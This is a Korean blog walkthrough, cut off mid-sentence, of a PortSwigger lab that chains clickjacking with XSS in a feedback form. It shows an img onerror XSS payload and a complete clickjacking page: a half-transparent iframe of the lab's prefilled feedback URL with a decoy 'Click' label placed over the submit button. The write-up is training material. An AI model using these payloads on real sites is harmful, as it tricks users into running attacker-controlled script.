본문 바로가기
Portswigger/Clickjacking

Portswigger - Exploiting clickjacking vulnerability to trigger DOM-based XSS solution

by jh117jh 2024. 1. 12.
728x90

 

이번 문제는 XSS 취약점을 포함하고 있으며 사용자가 click 문자를 눌러 print() 함수가 출력되게 하면 된다.

 

 

우선 페이지에 들어가게 되면 Submit feedback이라는 못보던 페이지가 보인다.

 

 

들어가면 피드백을 제출하는 페이지가 보이는데 여기서 XSS 취약점이 존재하는 것 같다.

 

 

시험 삼아 hello라는 이름으로 피드백을 제출해 봤다.

 

그랬더니 피드백 제출에 고맙다는 말과 함께 입력했던 이름이 출력되었다.

그동안의 XSS 문제를 풀어본 결과 이 부분에서 취약점이 발생할 것이란 예상이 들었다.

 

바로 이름에 <script>alert(0)</script>를 넣어봤더니 

 

alert함수가 실행되진 않았지만 다른 필터링이 존재하지 않는걸 확인하였고

 

img 태그를 이용해 한번 더 alert함수를 호출해 보았다.

 

그 결과 alert함수가 호출되었다.

 

이제 문제는 다 푼거나 마찬가지다.

 

<style>
    iframe {
        position:relative;
        width:1700px;
        height: 900px;
        opacity: 0.5;
     }
    h1 {
        position:absolute;
        top:830px;
        left:320px;
        font-size:20;
    }
</style>
<h1>Click</h1>
<iframe src="https://0a2700c9040cd44b83532938001b00bb.web-security-academy.net/feedback?name=%3Cimg%20src=%221%22%20onerror=print()%3E&email=123@naver.com&subject=1&message=1" ></iframe>

 

iframe을 이용해 모방 페이지를 만들고 파라미터로 이름, 이메일, 내용등의 정보를 전달하여 미리 입력되게 만들어 click문자를 제출 버튼에 올려놓으면 

 

 

 

728x90